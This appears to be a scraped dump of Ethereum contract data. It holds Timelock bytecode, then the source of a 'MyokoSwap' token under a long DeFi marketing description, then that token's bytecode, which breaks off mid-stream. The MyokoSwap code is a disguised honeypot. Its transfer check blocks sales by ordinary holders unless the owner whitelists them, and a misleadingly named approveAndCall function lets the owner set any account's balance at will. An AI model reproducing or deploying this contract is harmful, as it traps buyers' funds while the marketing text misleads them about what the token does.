0x6080604052600436106100e15760003560e01c80636fc1f57e1161007f578063c1a287e211610059578063c1a287e21461077d578063e177246e146107a8578063f2b06537146107e3578063f851a44014610834576100e8565b80636fc1f57e146106fa5780637d645fab14610727578063b1b43ae514610752576100e8565b80633a66f901116100bb5780633a66f901146103445780634dd18bf5146104eb578063591fcdfe1461053c5780636a42b8f8146106cf576100e8565b80630825f38f146100ed5780630e18b681146102ec5780632678224714610303576100e8565b366100e857005b600080fd5b610271600480360360a081101561010357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561014a57600080fd5b82018360208201111561015c57600080fd5b8035906020019184600183028401116401000000008311171561017e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156101e157600080fd5b8201836020820111156101f357600080fd5b8035906020019184600183028401116401000000008311171561021557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610875565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102b1578082015181840152602081019050610296565b50505050905090810190601f1680156102de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102f857600080fd5b50610301610ec0565b005b34801561030f57600080fd5b5061031861104d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035057600080fd5b506104d5600480360360a081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156103ae57600080fd5b8201836020820111156103c057600080fd5b803590602001918460018302840111640100000000831117156103e257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561044557600080fd5b82018360208201111561045757600080fd5b8035906020019184600183028401116401000000008311171561047957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050611073565b6040518082815260200191505060405180910390f35b3480156104f757600080fd5b5061053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611423565b005b34801561054857600080fd5b506106cd600480360360a081101561055f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105a657600080fd5b8201836020820111156105b857600080fd5b803590602001918460018302840111640100000000831117156105da57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561063d57600080fd5b82018360208201111561064f57600080fd5b8035906020019184600183028401116401000000008311171561067157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919050505061162a565b005b3480156106db57600080fd5b506106e461195e565b6040518082815260200191505060405180910390f35b34801561070657600080fd5b5061070f611964565b60405180821515815260200191505060405180910390f35b34801561073357600080fd5b5061073c611977565b6040518082815260200191505060405180910390f35b34801561075e57600080fd5b5061076761197e565b6040518082815260200191505060405180910390f35b34801561078957600080fd5b50610792611984565b6040518082815260200191505060405180910390f35b3480156107b457600080fd5b506107e1600480360360208110156107cb57600080fd5b810190808035906020019092919050505061198b565b005b3480156107ef57600080fd5b5061081c6004803603602081101561080657600080fd5b8101908080359060200190929190505050611aff565b60405180821515815260200191505060405180910390f35b34801561084057600080fd5b50610849611b1f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461091b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611bd46038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610991578082015181840152602081019050610976565b50505050905090810190601f1680156109be5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156109f75780820151818401526020810190506109dc565b50505050905090810190601f168015610a245780820380516001836020036101000a031916815260200191505b509750505050505050506040516020818303038152906040528051906020012090506004600082815260200190815260200160002060009054906101000a900460ff16610abc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611d62603d913960400191505060405180910390fd5b82610ac5611b43565b1015610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180611c766045913960600191505060405180910390fd5b610b326212750084611b4b90919063ffffffff16565b610b3a611b43565b1115610b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611c436033913960400191505060405180910390fd5b60006004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055506060600086511415610bd157849050610c6d565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610c355780518252602082019150602081019050602083039250610c12565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610cbd5780518252602082019150602081019050602083039250610c9a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610d1f576040519150601f19603f3d011682016040523d82523d6000602084013e610d24565b606091505b509150915081610d7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611e45603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e0c578082015181840152602081019050610df1565b50505050905090810190601f168015610e395780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610e72578082015181840152602081019050610e57565b50505050905090810190601f168015610e9f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38094505050505095945050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611d9f6038913960400191505060405180910390fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c60405160405180910390a2565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461111a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180611e0f6036913960400191505060405180910390fd5b611136600254611128611b43565b611b4b90919063ffffffff16565b82101561118e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526049815260200180611e826049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156112045780820151818401526020810190506111e9565b50505050905090810190601f1680156112315780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561126a57808201518184015260208101905061124f565b50505050905090810190601f1680156112975780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611372578082015181840152602081019050611357565b50505050905090810190601f16801561139f5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156113d85780820151818401526020810190506113bd565b50505050905090810190601f1680156114055780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38091505095945050505050565b600360009054906101000a900460ff16156114c1573073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114bc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611dd76038913960400191505060405180910390fd5b611581565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180611cef603b913960400191505060405180910390fd5b6001600360006101000a81548160ff0219169083151502179055505b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75660405160405180910390a250565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116ce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526037815260200180611c0c6037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611744578082015181840152602081019050611729565b50505050905090810190601f1680156117715780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156117aa57808201518184015260208101905061178f565b50505050905090810190601f1680156117d75780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156118b2578082015181840152602081019050611897565b50505050905090810190601f1680156118df5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156119185780820151818401526020810190506118fd565b50505050905090810190601f1680156119455780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b600360009054906101000a900460ff1681565b62278d0081565b61a8c081565b6212750081565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611ecb6031913960400191505060405180910390fd5b61a8c0811015611a6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611cbb6034913960400191505060405180910390fd5b62278d00811115611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611d2a6038913960400191505060405180910390fd5b806002819055506002547f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c60405160405180910390a250565b60046020528060005260406000206000915054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600042905090565b600080828401905083811015611bc9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2046697273742063616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea2646970667358221220f8b73e032e7b63c0d8bb97ad66c1f91a66ef4895b87504485d5d610c9378a4fb64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
9,501
0x7ceb9f665b11cc3cdfebad938b4ff01b3ac3f0c6
/** *Submitted for verification at Etherscan.io on 2021-06-07 */ /* What is Myoko Swap? MyokoSwap is a decentralized exchange for swapping ERC-20 tokens. Multi-chain support is planned for the next releases which is shown on the roadmap. We built a platform for The crypto trading Industry MyokoSwap uses an automated market maker (AMM) model. That means that while you can trade digital assets on the platform, there isn’t an order book where you’re matched with someone else. Instead, you trade against a liquidity pool. Those pools are filled with other users’ funds. They deposit them into the pool, receiving liquidity provider (or LP) tokens in return. They can use those tokens to reclaim their share, plus a portion of the trading fees. MyokoSwap Features MyokoSwap allows users to be Liqiudity Provider, Farming, Staking, Exchange, Bridging Assets across chains and more… Liqiudity Provider Pools are filled with other users’ funds. They deposit them into the pool, receiving liquidity provider (or LP) tokens in return. They can use those tokens to reclaim their share, plus a portion of the trading fees. Farming On the farm, you can deposit your LP tokens, locking them up in a process that rewards you with Myoko. Which LP tokens can you deposit? Well, the list is quite long, but here’s a taster of some of the most popular ones. Staking MyokoSwap allows you to stake its governance token. — Myoko You’ll earn a proportion of Myoko token with every new ETH blocks. Don't buy this token yet, it is a test. Exchange MyokoSwap is an automated market maker (AMM) is a type of decentralized exchange (DEX) protocol that relies on a mathematical formula to price assets. Instead of using an order book like a traditional exchange, assets are priced according to a pricing algorithm. Bridging Assets Cross-chain bridging service that aims to increase interoperability between different blockchains. It essentially lets anyone convert selected coins into wrapped tokens (or “pegged tokens”) across chains. i.e. ERC20-BEP20 MyokoSwap Roadmap It’s a to-do list with particular timeline. We will work hard to release roadmap items before deadline. Myoko Swap Token (Myoko) Myoko TOKEN Name: Myoko Swap Token Ticker: Myoko Decimals: 18 Max supply: 50,000 Myoko Liquidity Mining and Burn Rates Emission Rate: 0.75 Myoko/block or 21600 Myoko/day [may change in future] Block Reward: Current block reward is 0.75 Myoko. [may change in future] • To preserve Myoko Token value, we decided to burn 2000*(Block Reward) Myoko Token every day. • Nearly 9.09% of the total produced Myoko will be sent to the deployer address for marketing&burning. The rest will be distributed among farms&pools on our platform. • The team will not sell or farm any Myoko token. The amount accumulates on the deployer address will be used only for marketing, contents&competitions and future airdrop. The only income for the developer team is deposit fees. Importance of unique inflation control mechanism: • Allocating this budget for marketing instead of buyback will help us grow & expand, hence, increasing coin value much more compared to buybacks. • Income from deposit fees is negligible compared to the size of Myoko/ETH and Myoko/USDT pools. As a result of this, the value increase of Myoko after the buyback will also negligible. • Buyback can backfire since times of buybacks can create a pump/dump environment, and like said in the second argument, the value increase of the token is negligible due to the high volume of pools. Deposit Fees Standard deposit fee is 4% across all NON-Myoko farms and pools. For Myoko farms and pools, there is no deposit fee (0%). 50% of the deposit fee will be distributed among developers, the other 50% will be used for mainly marketing, buyback, and other expenses such as airdrops, contests, maintenance, etc. Myoko as a Governance Token Myoko is the native governance token of Myoko Swap. We are advocates of decentralized platforms, because of this, we will lead our platform to success with our community. The community uses this platform and the community will lead this platform. Our governance model is explained on Governance. As said there, after compulsory developments are being done, we will give control to our community. Governance Since our platform is decentralized, after the core development updates, we will give control to our community. Any Myoko governance token holders may propose a change, update or development via our governance portal. Our governance structure will be like this: First, any community member will propose their suggestion in our Discord channel’ #issues, then our community will talk upon this issue in Discord and Telegram. If this issue is agreed upon, the team will carry this proposal to the project page on Snapshot or Aragon.(the original issue can be amended before going to Snapshot page) When a proposal listed on Snapshot, those who hold Myoko can vote either yes or no. If the majority of Myoko holders vote yes, then the team will execute the proposal. If the majority of Myoko holders vote no, then the team will not take action upon this proposal. Any failed proposal can be talked upon in our socials, but they can be issued again after 2 weeks. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract MyokoSwap { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff